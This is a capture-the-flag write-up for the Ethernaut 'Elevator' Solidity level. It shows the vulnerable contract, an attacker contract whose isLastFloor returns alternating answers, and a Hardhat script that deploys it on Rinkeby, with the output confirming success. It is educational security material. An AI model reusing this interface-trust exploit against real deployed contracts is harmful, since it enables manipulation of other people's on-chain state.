Ethernaut #11 Elevator

Elevator

Challenge

This elevator won’t let you reach the top of your building. Right?

Things that might help:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Background

This is a very simple attack. We need to keep in mind that as long as we follow the Building interface then the Elevator can interact with our contract. However, since the Building contract is under the attackers control, there is no limit regarding what else the contract can do.

Attack

Create a contract that satisfies the the Building interface but flips its response each time. Make sure that isLastFloor will respond false the first time, and true the second. This will make the first call that checks if its the top floor say its not, and the second that sets the top variable say it is.

ElevatorSolve.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;

import '../challenges/Elevator.sol';

contract ElevatorSolve {

    Elevator elevatorContract;
    bool lastFloor;

    constructor(address payable _elevatorAddress) public {
        elevatorContract = Elevator(_elevatorAddress);
        lastFloor = true;
    }
    
    function isLastFloor(uint) external returns (bool) {
        lastFloor = !lastFloor;
        return lastFloor;
    }

    function goTo (uint _floor) public {
        elevatorContract.goTo(_floor);
    }

}

elevator-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function main() {
    elevatorAddress = "0xe8cAdc8eA3A2D55907409cc18a3bB4a71f356379";
    contract = await ethers.getContractAt("Elevator", elevatorAddress);
    
    const accounts = await hre.ethers.getSigners();
    account = accounts[0];
    
    ElevatorSolve = await ethers.getContractFactory("ElevatorSolve");
    elevatorSolve = await ElevatorSolve.deploy(contract.address);
    await elevatorSolve.deployed();

    console.log("Initial Floor: " + await contract.floor())
    console.log("Initial Top  : " + await contract.top())

    // call the goTo function to trigger the attack
    tx = await elevatorSolve.connect(account).goTo(2)
    receipt = await tx.wait()

    console.log("Floor        : " + await contract.floor())
    console.log("Top          : " + await contract.top())
    
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/elevator-solve.js --network rinkeby
Initial Floor: 0
Initial Top  : false
Floor        : 2
Top          : true

Success Message

You can use the view function modifier on an interface in order to prevent state modifications. The pure modifier also prevents functions from modifying the state. Make sure you read Solidity’s documentation and learn its caveats.

An alternative way to solve this level is to build a view function which returns different results depends on input data but don’t modify state, e.g. gasleft().